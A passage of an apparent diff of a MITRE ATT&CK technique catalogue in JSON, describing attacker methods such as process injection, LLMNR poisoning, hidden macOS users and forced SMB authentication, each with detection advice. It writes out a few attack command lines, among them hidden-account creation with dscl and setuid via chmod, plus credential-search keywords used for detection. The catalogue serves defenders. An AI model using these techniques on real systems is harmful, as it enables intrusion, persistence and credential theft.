"https://www.fireeye.com/blog/threat-research/2017/02/spear%20phishing%20techn.html" - ], - "mitre_data_sources": [ - "Loaded DLLs", - "Process monitoring", - "Process command-line parameters", - "Windows Registry" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a" - }, - { - "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. \n\n===Windows===\n\nExample utilities used to obtain this information are dir and tree. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the Windows API.\n\n===Mac and Linux===\n\nIn Mac and Linux, this kind of discovery is accomplished with the ls, find, and locate commands.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Some folders may require Administrator, SYSTEM or specific user depending on permission levels and access controls", - "value": "File and Directory Discovery - T1083", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1083", - "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" - ], - "mitre_data_sources": [ - "File monitoring", - "Process command-line parameters", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "7bc57495-ea59-4380-be31-a64af124ef18" - }, - { - "description": "Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.\n\nExecution granted through EWM injection may take place in the address space of a separate live process. Similar to Process Injection, this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Engame Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nDetection: Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Engame Process Injection July 2017)\n\nPlatforms: Windows\n\nDefense Bypassed: Anti-virus, Host intrusion prevention systems, Data Execution Prevention\n\nPermissions Required: Administrator, SYSTEM", - "value": "Extra Window Memory Injection - T1181", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1181", - "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx", - "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx", - "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx", - "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html", - "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/", - "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "52f3d5a6-8a0f-4f82-977e-750abf90d0b0" - }, - { - "description": "Adversaries with a sufficient level of access may create a local system or domain account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.\n\nThe net user commands can be used to create a local or domain account.\n\nDetection: Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process Monitoring, Process command-line parameters, Authentication logs, Windows event logs\n\nPermissions Required: Administrator", - "value": "Create Account - T1136", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1136", - "https://docs.microsoft.com/windows/device-security/auditing/event-4720" - ], - "mitre_data_sources": [ - "Process Monitoring", - "Process command-line parameters", - "Authentication logs", - "Windows event logs" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67" - }, - { - "description": "Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol. \n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are \n* TCP/UDP:135 (RPC)\n* TCP/UDP:22 (SSH)\n* TCP/UDP:3389 (RDP)\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes", - "value": "Commonly Used Port - T1043", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1043", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "mitre_data_sources": [ - "Packet capture", - "Netflow/Enclave netflow", - "Process use of network", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e" - }, - { - "description": "Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, UTF-8, or other binary-to-text and character encoding systems. (Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Process use of network, Process Monitoring, Network protocol analysis\n\nPermissions Required: User\n\nRequires Network: Yes\n\nContributors: Itzik Kotler, SafeBreach", - "value": "Data Encoding - T1132", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1132", - "https://en.wikipedia.org/wiki/Binary-to-text%20encoding", - "https://en.wikipedia.org/wiki/Character%20encoding", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "mitre_data_sources": [ - "Packet capture", - "Process use of network", - "Process Monitoring", - "Network protocol analysis" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" - }, - { - "description": "Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through Network Sniffing and crack the hashes offline through Brute Force to obtain the plaintext passwords.\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and Responder. (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)\n\nDetection: Monitor HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient for changes to the \"EnableMulticast\" DWORD value. A value of “0” indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)\n\nMonitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.\n\nDeploy an LLMNR/NBT-NS spoofing detection tool. (Citation: GitHub Conveigh)\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Packet capture, Netflow/Enclave netflow\n\nPermissions Required: User\n\nContributors: Matthew Demaske, Adaptforward", - "value": "LLMNR/NBT-NS Poisoning - T1171", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1171", - "https://en.wikipedia.org/wiki/Link-Local%20Multicast%20Name%20Resolution", - "https://technet.microsoft.com/library/cc958811.aspx", - "https://github.com/nomex/nbnspoof", - "https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr%20response", - "https://github.com/SpiderLabs/Responder", - "https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning", - "https://github.com/Kevin-Robertson/Conveigh" - ], - "mitre_data_sources": [ - "Windows Registry", - "Packet capture", - "Netflow/Enclave netflow" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0" - }, - { - "description": "Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through Credential Dumping. (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)\n\nDetection: While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See Valid Accounts for more information.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Access to files", - "value": "Credentials in Files - T1081", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1081", - "http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html", - "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx" - ], - "mitre_data_sources": [ - "File monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c" - }, - { - "description": "PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. \n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nAdministrator permissions are required to use PowerShell to connect to remote systems.\n\nA number of PowerShell-based offensive testing tools are available, including Empire, (Citation: Github PowerShell Empire) PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)\n\nDetection: If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution. (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. (Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nRemote Support: Yes", - "value": "PowerShell - T1086", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1086", - "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx", - "https://github.com/PowerShellEmpire/Empire", - "https://github.com/mattifestation/PowerSploit", - "https://github.com/jaredhaight/PSAttack", - "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf", - "https://www.fireeye.com/blog/threat-research/2016/02/greater%20visibilityt.html" - ], - "mitre_data_sources": [ - "Windows Registry", - "File monitoring", - "Process command-line parameters", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0" - }, - { - "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules, anti-virus, and virtualization. These checks may be built into early-stage remote access tools.\n\n===Windows===\n\nExample commands that can be used to obtain security software information are netsh, reg query with Reg, dir with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.\n\n===Mac===\n\nIt's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM", - "value": "Security Software Discovery - T1063", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1063" - ], - "mitre_data_sources": [ - "File monitoring", - "Process command-line parameters", - "Process monitoring" - ], - "mitre_platforms": [ - "macOS", - "Windows" - ] - }, - "uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7" - }, - { - "description": "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as launchctl submit -l -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\". Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.\n\nDetection: Knock Knock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk somewhere which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path\n\nPermissions Required: User, Administrator\n\nRemote Support: No", - "value": "Launchctl - T1152", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1152", - "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" - ], - "mitre_data_sources": [ - "File monitoring", - "Process Monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "macOS" - ] - }, - "uuid": "53bfc8bf-8f76-4cd7-8958-49a884ddb3ee" - }, - { - "description": "Windows service configuration information, including the file path to the service's executable, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and Reg.\n\nAdversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of Masquerading that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.\n\nDetection: Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence. (Citation: TechNet Autoruns) \n\nService information is stored in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services.\n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute cmd commands or scripts.\n\nLook for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Services may also be modified through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Travis Smith, Tripwire", - "value": "Modify Existing Service - T1031", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1031", - "https://technet.microsoft.com/en-us/sysinternals/bb963902" - ], - "mitre_data_sources": [ - "Windows Registry", - "File monitoring", - "Process command-line parameters", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b" - }, - { - "description": "Adversaries use command and control over an encrypted channel using a known encryption protocol like HTTPS or SSL/TLS. The use of strong encryption makes it difficult for defenders to detect signatures within adversary command and control traffic.\n\nSome adversaries may use other encryption protocols and algorithms with symmetric keys, such as RC4, that rely on encryption keys encoded into malware configuration files and not public key cryptography. Such keys may be obtained through malware reverse engineering.\n\nDetection: SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks)\n\nIf malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring, SSL/TLS inspection\n\nRequires Network: Yes", - "value": "Standard Cryptographic Protocol - T1032", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1032", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", - "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840", - "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html", - "https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf" - ], - "mitre_data_sources": [ - "Packet capture", - "Netflow/Enclave netflow", - "Malware reverse engineering", - "Process use of network", - "Process monitoring", - "SSL/TLS inspection" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" - }, - { - "description": "When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively. Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file].\n\nAn adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context.\n\nDetection: Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nEffective Permissions: Administrator, root\n\nPermissions Required: User", - "value": "Setuid and Setgid - T1166", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1166" - ], - "mitre_data_sources": [ - "File monitoring", - "Process Monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ] - }, - "uuid": "c0df6533-30ee-4a4a-9c6d-17af5abdf0b2" - }, - { - "description": "The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources. Web Distributed Authoring and Versioning (WebDAV) is typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary, or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information including the user's hashed credentials over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line Brute Force cracking to gain access to plaintext credentials, or reuse it for Pass the Hash. (Citation: Cylance Redirect to SMB)\n\nThere are different ways this can occur:\n*A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened. The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)\n*A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\[remote address]\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)\n\nDetection: Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause.\n\nMonitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)\n\nPlatforms: Windows\n\nData Sources: File monitoring, Network protocol analysis, Network device logs, Process use of network\n\nPermissions Required: User\n\nContributors: Teodor Cimpoesu", - "value": "Forced Authentication - T1187", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1187", - "https://en.wikipedia.org/wiki/Server%20Message%20Block", - "https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/", - "https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx", - "https://github.com/hob0/hashjacking", - "https://www.cylance.com/content/dam/cylance/pdfs/white%20papers/RedirectToSMB.pdf", - "https://www.us-cert.gov/ncas/alerts/TA17-293A" - ], - "mitre_data_sources": [ - "File monitoring", - "Network protocol analysis", - "Network device logs", - "Process use of network" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "b77cf5f3-6060-475d-bd60-40ccbf28fdc2" - }, - { - "description": "Adversaries may steal the credentials of a specific user or service account using Credential Access techniques. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network and may even be used for persistent access to remote systems. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nAdversaries may also create accounts, sometimes using pre-defined account names and passwords, as a means for persistence through backup access in case other means are unsuccessful. \n\nThe overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)\n\nDetection: Configure robust, consistent account activity audit policies across the enterprise. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Authentication logs, Process monitoring\n\nEffective Permissions: User, Administrator\n\nDefense Bypassed: Anti-virus, Firewall, Host intrusion prevention systems, Network intrusion detection system, Process whitelisting, System access controls\n\nPermissions Required: User, Administrator", - "value": "Valid Accounts - T1078", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1078", - "https://technet.microsoft.com/en-us/library/dn535501.aspx", - "https://technet.microsoft.com/en-us/library/dn487457.aspx" - ], - "mitre_data_sources": [ - "Authentication logs", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "b17a1a56-e99c-403c-8948-561df0cffe81" - }, - { - "description": "Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are \"sc,\" \"tasklist /svc\" using Tasklist, and \"net start\" using Net, but adversaries may also use other tools as well.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM", - "value": "System Service Discovery - T1007", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1007" - ], - "mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "322bad5a-1c49-4d23-ab79-76d641794afa" - }, - { - "description": "Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. By using the Create Account technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: sudo dscl . -create /Users/username UniqueID 401 (Citation: Cybereason OSX Pirrit).\n\nDetection: This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs.\n\nPlatforms: macOS\n\nData Sources: Authentication logs, File monitoring\n\nPermissions Required: Administrator, root", - "value": "Hidden Users - T1147", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1147", - "https://www2.cybereason.com/research-osx-pirrit-mac-os-x-secuirty" - ], - "mitre_data_sources": [ - "Authentication logs", - "File monitoring" - ], - "mitre_platforms": [ - "macOS" - ] - }, - "uuid": "ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff" - }, - { - "description": "===Windows===\n\nAdversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using Credential Dumping. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs.\n\n===Mac===\n\nOn Mac, the currently logged in user can be identified with users,w, and who.\n\n===Linux===\n\nOn Linux, the currently logged in user can be identified with w and who.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator", - "value": "System Owner/User Discovery - T1033", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1033" - ], - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "03d7999c-1f4c-42cc-8373-e7690d318104" - }, - { - "description": "Some adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) Correlating alerts between multiple communication channels can further help identify command-and-control behavior.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes", - "value": 